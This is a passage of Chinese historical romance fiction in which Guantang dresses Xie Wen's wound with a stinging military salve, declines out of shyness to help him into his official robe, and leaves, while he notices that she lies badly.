见女子的手在他肩处来回打转，愣是没有将药膏抹上去，谢闻无奈道：“算了，你给我吧。” 谢闻身上的伤处并不是非要假以人手，只不过他需低着头，以一种稍显扭曲的姿势为自己上药。 观棠见状，咬了咬牙道：“还是我来罢。”说罢抢过谢闻手中的药匕，贴在了他的伤处。 这外用治伤的药是在柳州时曹佐林给他的，乃军中所用，药效强劲，伤口愈合快，唯一的不好便是接触伤处的那一刻极痛。当那膏药抹上去时，痛感使得谢闻好被人再次捅了一剑，忍不住将手抓紧了太师椅的扶手，指头恨不能嵌进去，呼吸也急促了起来。 观棠被他的反应吓得一哆嗦，道：“我弄疼你了？” 过了一会儿，谢闻缓过来，道：“不是，这药就是如此。好了，把纱布给我吧。” 观棠依言照做，见谢闻很快地替自己缠好半身纱布，只不过到最后一截布头，发现原来那纱布只能在背后系上。见此，观棠伸手从他肩处和腰处捋出这两头的纱布，替他系好了。 她女红好，只是系个结而已，没一会儿便弄好了，只是观棠不知，方才自己去够那纱布的动作就像是倏然从后背环抱住了谢闻。 感受到女子细微的动作，以及时不时触及皮肤的温凉的指腹，谢闻倏然想起昨夜在床榻前拉着她的情景，整个人的身子也开始发热。 观棠当然不知他心中所想，替他理好纱布后，拿来那绛色官服，道：“这衣服……还是唤德庆进来替你穿吧，我……”说到这里，观棠有些磕磕绊绊道：“我不知男子官服该如何穿。” 见女子的面上似有些羞赧，谢闻心头微动，点了点头。 观棠舒口气，打开门请德庆进来。 看着阔步进屋的德庆，观棠心中想着，其实她骗了谢闻。 只是一件官服罢了，她当然知道怎么穿。 但不知为何，她可以替他上药，就好像她在药铺里替那些病人上药一般，偏偏就是无法替他更衣。 她既决意不将谢闻视作夫君，那无论是言语还是行止，自当恪守分寸。侍奉更衣这种事，终究还是有些亲密。 想到这里，观棠道：“我去书信一封，请你的人替我一同带给赵队将。”说完，还不待谢闻回应，便快步离开了屋子。 望着观棠匆匆离去的背影，谢闻心下不由莞尔。 此女平日里行事何等雷厉风行，偏偏一说起谎来便破绽百出，简直判若两人。